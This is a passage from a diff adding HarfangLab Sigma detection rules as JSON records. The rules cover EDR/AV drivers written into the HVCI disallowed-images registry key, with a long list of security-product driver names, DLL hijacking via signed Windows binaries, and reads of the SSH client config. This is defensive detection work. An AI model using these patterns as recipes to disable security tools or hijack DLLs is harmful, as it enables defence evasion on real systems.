'fcontrol.sys'\n            # SoftCamp Co.\n            - 'scred.sys'\n            # Softnext Technologies\n            - 'snimg.sys'\n            # SoftPerfect Research\n            - 'fsnk.sys'\n            # Software Pursuits Inc.\n            - 'SPIMiniFilter.sys'\n            # Sogou Ltd.\n            - 'SCAegis.sys'\n            # Solarwinds LLC\n            - 'SWFsFltrv2.sys'\n            - 'SWFsFltr.sys'\n            # Soliton Systems\n            - 'it2reg.sys'\n            - 'it2drv.sys'\n            - 'solitkm.sys'\n            # Soliton Systems K.K.\n            - 'SDVFilter.sys'\n            # Solusseum Inc\n            - 'Sefo.sys'\n            # Soluto LTD\n            - 'PDGenFam.sys'\n            # Somma Inc\n            - 'MonsterK.sys'\n            # SonicWall Inc\n            - 'SFPMonitor.sys'\n            # Sophos\n            - 'SophosED.sys'\n            # Sophos Plc\n            - 'soidriver.sys'\n            # SoulFrost\n            - 'sfac.sys'\n            # SPEKNET EOOD\n            - 'Asgard.sys'\n            # Spharsoft Technologies\n            - 'SvCBT.sys'\n            # Squadra Technologies\n            - 'secRMM.sys'\n            # Stegosystems Inc\n            - 'StegoProtect.sys'\n            # StorageCraft Tech\n            - 'stcvsm.sys'\n            # Stormshield\n            - 'EsProbe.sys'\n            # Sumitomo Electric Ltd.\n            - 'MCFileMon64.sys'\n            - 'MCFileMon32.sys'\n            # Sun&Moon Rise\n            - 'ntfsf.sys'\n            # Symantec\n            - 'pgpwdefs.sys'\n            - 'GEProtection.sys'\n            - 'sysMon.sys'\n            - 'ssrfsf.sys'\n            - 'emxdrv2.sys'\n            - 'reghook.sys'\n            - 'spbbcdrv.sys'\n            - 'bhdrvx86.sys'\n            - 'bhdrvx64.sys'\n            - 'SISIPSFileFilter'\n            - 'symevent.sys'\n            # Symantec Corp.\n            - 'diflt.sys'\n            # Syncopate\n            - 'thetta.sys'\n            # Systemneeds, Inc\n            - 'Snilog.sys'\n            # TaaSera Inc.\n            - 'AwareCore.sys'\n            # Tanium\n            - 'TaniumRecorderDrv.sys'\n            # TCXA Ltd.\n            - 'fcnotify.sys'\n            # Tech Research\n            - 'FASDriver'\n            # TechnoKom Ltd.\n            - 'agfsmon.sys'\n            # Telefnica Digital\n            - 'path8flt.sys'\n            # Temasoft S.R.L.\n            - 'filemon.sys'\n            # Tencent (Shenzhen)\n            - 'QQProtect.sys'\n            - 'QQProtectX64.sys'\n            # Tencent Technology\n            - 'TenRSafe2.sys'\n            - 'tesxporter.sys'\n            - 'tesxnginx.sys'\n            # Tetraglyph Technologies\n            - 'TGFSMF.sys'\n            # ThinAir Labs Inc\n            - 'taobserveflt.sys'\n            # ThinScale Tech\n            - 'TSTFsReDir.sys'\n            - 'TSTRegReDir.sys'\n            - 'TSTFilter.sys'\n            # Third Brigade\n            - 'tbfsfilt.sys'\n            # Threat Stack\n            - 'ThreatStackFIM.sys'\n            # Tiversa Inc\n            - 'tss.sys'\n            # Topology Ltd\n            - 'dsfemon.sys'\n            # Tranxition Corp\n            - 'regmonex.sys'\n            - 'TXRegMon.sys'\n            # Trend Micro Inc.\n            - 'TMUMS.sys'\n            - 'hfileflt.sys'\n            - 'TMUMH.sys'\n            # Trend Micro, Inc.\n            - 'AcDriver.sys'\n            - 'SakFile.sys'\n            - 'SakMFile.sys'\n            # Tritium Inc.\n            - 'Tritiumfltr.sys'\n            # Trustware Ltd\n            - 'Redlight.sys'\n            # Trustwave\n            - 'TWBDCFilter.sys'\n            # UpGuard\n            - 'UpGuardRealTime.sys'\n            # Varlook Ltd.\n            - 'varpffmon.sys'\n            # Varonis Ltd\n            - 'VrnsFilter.sys'\n            # Veramine Inc\n            - 'phantomd.sys'\n            # Vidder Inc.\n            - 'vidderfs.sys'\n            # Viewfinity\n            - 'vfdrv.sys'\n            # Vision Solutions\n            - 'repdrv.sys'\n            - 'repmon.sys'\n            # VMware, Inc.\n            - 'VMWVvpfsd.sys'\n            - 'RTOLogon.sys'\n            # VoodooSoft\n            - 'VSScanner.sys'\n            # WaikatoLink Ltd\n            - 'proggerdriver.sys'\n            # WardWiz\n            - 'WRDWIZFILEPROT.SYS'\n            - 'WRDWIZREGPROT.SYS'\n            # Warp Disk Software\n            - 'DsDriver.sys'\n            # Weing Co.,Ltd.\n            - 'pscff.sys'\n            # Wellbia.com\n            - 'xhunter64.sys'\n            - 'uncheater.sys'\n            # Wellbiacom\n            - 'xhunter1.sys'\n            # Whitebox Security\n            - 'wbfilter.sys'\n            # WhiteCell Software Inc.\n            - 'EGMinFlt.sys'\n            # WidgetNuri Corp\n            - 'wsafefilter.sys'\n            - 'RansomDetect.sys'\n            # Winicssec Ltd\n            - 'wlminisecmod.sys'\n            - 'WntGPDrv.sys'\n            # X-Cloud Systems\n            - 'xcpl.sys'\n            # Xacti\n            - 'stflt.sys'\n            # Yahoo Japan Corporation\n            - 'YahooStorage.sys'\n            # Yandex LLC\n            - 'bmregdrv.sys'\n            - 'bmfsdrv.sys'\n            # YATEM Co. Ltd.\n            - 'LCmPrintMon.sys'\n            - 'LCgAdMon.sys'\n            - 'LCmAdMon.sys'\n            - 'LCgFileMon.sys'\n            - 'LCmFile.sys'\n            - 'LCgFile.sys'\n            - 'LCmFileMon.sys'\n            # Yokogawa Corpration\n            - 'YFSD2.sys'\n            # Yokogawa R&L Corp\n            - 'YFSDR.SYS'\n            - 'YFSD.SYS'\n            - 'YFSRD.sys'\n            - 'psgfoctrl.sys'\n            - 'psgdflt.sys'\n            # Zampit\n            - 'zampit_ml.sys'\n            # ZenmuTech Inc.\n            - 'mumdi.sys'\n            # Zhuan Zhuan Jing Shen\n            - 'zzpensys.sys'\n            # ZoneFox\n            - 'KernelAgent32.sys'\n            #\n            # FSFilter Activity Monitor - END\n            #\n            #\n            # Invoke-EDRCheck.ps1 - BEGIN\n            # Duplicates from previous source are removed.\n            #\n            # Altiris Symantec\n            - 'atrsdfw.sys'\n            # Avast\n            - 'naswSP.sys'\n            # Carbon Black\n            - 'CbELAM.sys'\n            - 'ctifile.sys'\n            - 'ctinet.sys'\n            - 'parity.sys'\n            # Cisco\n            - 'csacentr.sys'\n            - 'csaenh.sys'\n            - 'csareg.sys'\n            - 'csascr.sys'\n            # CJSC Returnil Software\n            - 'rvsavd.sys'\n            # Comodo Security\n            - 'CmdMnEfs.sys'\n            - 'MyDLPMF.sys'\n            # CrowdStrike\n            - 'im.sys'\n            - 'CSDeviceControl.sys'\n            - 'CSFirmwareAnalysis.sys'\n            # Cybereason\n            - 'CRExecPrev.sys'\n            # Endgame\n            - 'esensor.sys'\n            # ESET\n            - 'edevmon.sys'\n            # F-Secure\n            - 'xfsgk.sys'\n            # HarfangLab ! :)\n            - 'hlprotect.sys'\n            # Malwarebytes\n            - 'mbamwatchdog.sys'\n            # Microsoft Defender\n            - 'MpKslDrv.sys'\n            # Palo Alto Networks - Cortex XDR\n            - 'cyverak.sys'\n            - 'cyvrlpc.sys'\n            - 'cyvrmtgn.sys'\n            - 'tdevflt.sys'\n            # Raytheon Cyber Solutions\n            - 'eaw.sys'\n            # Symantec\n            - 'vxfsrep.sys'\n            - 'VirtFile.sys'\n            - 'SymAFR.sys'\n            - 'symefasi.sys'\n            - 'symefa.sys'\n            - 'symefa64.sys'\n            - 'SymHsm.sys'\n            - 'evmf.sys'\n            - 'GEFCMP.sys'\n            - 'VFSEnc.sys'\n            - 'pgpfs.sys'\n            - 'fencry.sys'\n            - 'symrg.sys'\n            # Verdasys Inc\n            - 'ndgdmk.sys'\n            # Tehtris\n            - 'egfilterk.sys'\n            # Sophos\n            - 'SophosDt2.sys'\n            - 'SophosSupport.sys'\n            # Cisco AMP\n            - 'ExPrevDriver.sys'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "48fe9f11-44de-4b4b-807c-00bb14c3058b",
+  "rule_name": "EDR/AV Driver added to HVCI Disallowed Images in Registry",
+  "rule_description": "Detects common AV or EDR driver names being written into the HVCIDisallowedImages registry key. This feature will only take effect on the next machine reboot.\nHVCI (Hypervisor Enforced Code Integrity) is a Windows mechanism that contains an undocumented feature that allows to register an array of driver names to be blocked.\nAttackers can use this feature to disable security products by blocking their respective drivers.\nIt is recommended to check whether the process modifying the registry keys has legitimate reasons to do it.\n",
+  "rule_creation_date": "2023-06-13",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "492d7132-a7e9-44bb-9a91-39bac44a9e1d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082179Z",
+  "creation_date": "2026-03-23T11:45:34.082181Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082185Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_winver.yml",
+  "content": "title: DLL Hijacking via WINVER.exe\nid: 492d7132-a7e9-44bb-9a91-39bac44a9e1d\ndescription: |\n    Detects potential Windows DLL Hijacking via WINVER.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'WINVER.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\windowscodecs.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "492d7132-a7e9-44bb-9a91-39bac44a9e1d",
+  "rule_name": "DLL Hijacking via WINVER.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via WINVER.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "494a754b-5e46-4cc1-aa3a-fc93a3fdd2f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.588648Z",
+  "creation_date": "2026-03-23T11:45:34.588652Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.588659Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wextract.yml",
+  "content": "title: DLL Hijacking via wextract.exe\nid: 494a754b-5e46-4cc1-aa3a-fc93a3fdd2f0\ndescription: |\n    Detects potential Windows DLL Hijacking via wextract.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wextract.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\Cabinet.dll'\n            - '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "494a754b-5e46-4cc1-aa3a-fc93a3fdd2f0",
+  "rule_name": "DLL Hijacking via wextract.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wextract.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4956a3c7-a3ae-4f77-8867-d59afb6ba420",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.591526Z",
+  "creation_date": "2026-03-23T11:45:34.591530Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.591538Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mspaint.yml",
+  "content": "title: DLL Hijacking via mspaint.exe\nid: 4956a3c7-a3ae-4f77-8867-d59afb6ba420\ndescription: |\n    Detects potential Windows DLL Hijacking via mspaint.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'mspaint.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\mfc42u.dll'\n            - '\\MSFTEDIT.DLL'\n            - '\\PROPSYS.dll'\n            - '\\winmm.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4956a3c7-a3ae-4f77-8867-d59afb6ba420",
+  "rule_name": "DLL Hijacking via mspaint.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via mspaint.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "496c255d-2d49-4b7d-9693-b89edbc5e17d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T10:57:06.348750Z",
+  "creation_date": "2026-03-23T11:45:35.296957Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296970Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1021/004/",
+    "https://attack.mitre.org/techniques/T1563/001/",
+    "https://attack.mitre.org/techniques/T1484/"
+  ],
+  "name": "t1021_004_ssh_client_config_read_linux.yml",
+  "content": "title: SSH Client Configuration Read\nid: 496c255d-2d49-4b7d-9693-b89edbc5e17d\ndescription: |\n    Detects an attempt to read the content of the SSH client configuration file.\n    The SSH client configuration contains the security settings used by SSH.\n    An attacker can read the SSH client configuration to find weaknesses in them.\n    It is recommended to investigate the process performing the read operation and to look for other malicious action stemming from it.\nreferences:\n    - https://attack.mitre.org/techniques/T1021/004/\n    - https://attack.mitre.org/techniques/T1563/001/\n    - https://attack.mitre.org/techniques/T1484/\ndate: 2022/11/07\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.004\n    - attack.t1563.001\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1484\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection_path:\n        - Path: '/etc/ssh/ssh_config'\n          ProcessImage|contains: '?'\n        - TargetPath: '/etc/ssh/ssh_config'\n          ProcessImage|contains: '?'\n\n    selection_read_access:\n        Kind: 'access'\n        Permissions: 'read'\n\n    exclusion_common:\n        ProcessImage:\n            - '/usr/bin/sha256sum'\n            - '/usr/bin/sha1sum'\n            - '/usr/bin/md5sum'\n            - '/usr/bin/sshpass'\n            - '/usr/bin/ssh-keygen'\n            - '/bin/tar'\n            - '/usr/bin/tar'\n            - '/usr/bin/glab'\n            - '/usr/bin/systemd-tmpfiles'\n            - '/usr/bin/cpio'\n            - '/usr/bin/rsync'\n            - '/usr/bin/dockerd'\n            - '/usr/local/bin/restic'\n            - '/usr/bin/curl' # curl -k sftp://\n            - '/bin/grep'\n            - '/usr/bin/grep'\n            - '/usr/bin/file'\n            - '/usr/lib/systemd/systemd-readahead'\n            - '/usr/libexec/cockpit-ssh'\n            - '/usr/bin/syft'\n            - '/usr/local/bin/argocd'\n            - '/usr/local/bin/pathWalker'\n            - '/usr/share/windsurf/windsurf'\n            - '/usr/openv/netbackup/bin/bpbkar'\n            - '/usr/bin/gh'\n            - '/usr/bin/mksquashfs'\n            - '/usr/local/Atempo/TimeNavigator/tina/Bin/*'\n\n    exclusion_opt:\n        - ProcessImage:\n            - '/opt/eset/*'\n            - '/opt/puppetlabs/puppet/bin/ruby'\n            - '/opt/ds_agent/ds_am'\n            - '/opt/ds_agent/ds_agent'\n            - '/opt/omni/lbin/vbda'\n            - '/opt/pycharm-*/jbr/bin/java'\n            - '/opt/endpoint-agent/agent' # https://docs.sekoia.io/integration/categories/endpoint/sekoiaio/\n            - '/opt/microfocus/Discovery/.discagnt/udscan'\n            - '/opt/hpud/*/.discagnt/udscan'\n            - '/opt/McAfee/ens/tp/bin/mfetpd'\n            - '/opt/commvault/iDataAgent64/clBackup'\n            - '/opt/commvault2/iDataAgent64/clBackup'\n            - '/opt/cybereason/sensor/bin/cbram'\n            - '/opt/bitdefender-security-tools/bin/bdsecd'\n            - '/opt/apsera/orchestrator-*/vendor/ruby/bin/ruby'\n            - '/opt/sentinelone/bin/sentinelone-agent'\n            - '/opt/sophos-av/engine/_/savscand.?'\n            - '/opt/CrowdStrike/falcon-sensor-*'\n            - '/opt/CARKpsmp/components/ssh' # cyberark\n            - '/opt/netbackup/openv/netbackup/bin/bpbkar'\n            - '/opt/bacula*/sbin/bacula-fd'\n        - ProcessGrandparentImage: '/opt/puppetlabs/puppet/bin/ruby'\n\n    exclusion_ssh:\n        - ProcessImage:\n            - '/usr/bin/ssh'\n            - '/snap/*/bin/ssh'\n            - '/gnu/store/*/bin/ssh'\n        - ProcessParentImage: '/usr/bin/ssh'\n\n    exclusion_scp:\n        - ProcessImage: '/usr/bin/scp'\n        - ProcessParentImage: '/usr/bin/scp'\n\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessCommandLine:\n            - '/usr/bin/python3 /usr/bin/unattended-upgrade'\n            - '/usr/bin/python3 /usr/bin/unattended-upgrades -d'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n        - ProcessGrandparentCommandLine: '/bin/sh /usr/lib/apt/apt.systemd.daily install'\n\n    exclusion_rpm:\n        ProcessImage: '/usr/bin/rpm'\n\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n\n    exclusion_dnf:\n        ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python* /bin/dnf'\n            - '/usr/bin/python* /usr/bin/dnf'\n\n    exclusion_packagekit:\n        ProcessImage:\n            - '/usr/libexec/packagekitd'\n            - '/usr/lib/packagekit/packagekitd'\n\n    # 'sed -ne s/^[[:blank:]]\\*[Hh][Oo][Ss][Tt][[:blank:]]\\{1,\\}\\([^#\\*?%]\\*\\)\\(#.\\*\\)\\{0,1\\}$/\\1/p /etc/ssh/ssh_config'\n    # 'sed -ne s/^[[:blank:]]\\*[Ii][Nn][Cc][Ll][Uu][Dd][Ee][[:blank:]]\\(.\\*\\)$/\\1/p /etc/ssh/ssh_config'\n    # And many others...\n    exclusion_idataagent:\n        ProcessImage:\n            - '/opt/commvault/iDataAgent64/clBackup'\n            - '/opt/commvault2/iDataAgent64/clBackup'\n            - '/usr/bin/mawk'\n            - '/usr/bin/gawk'\n        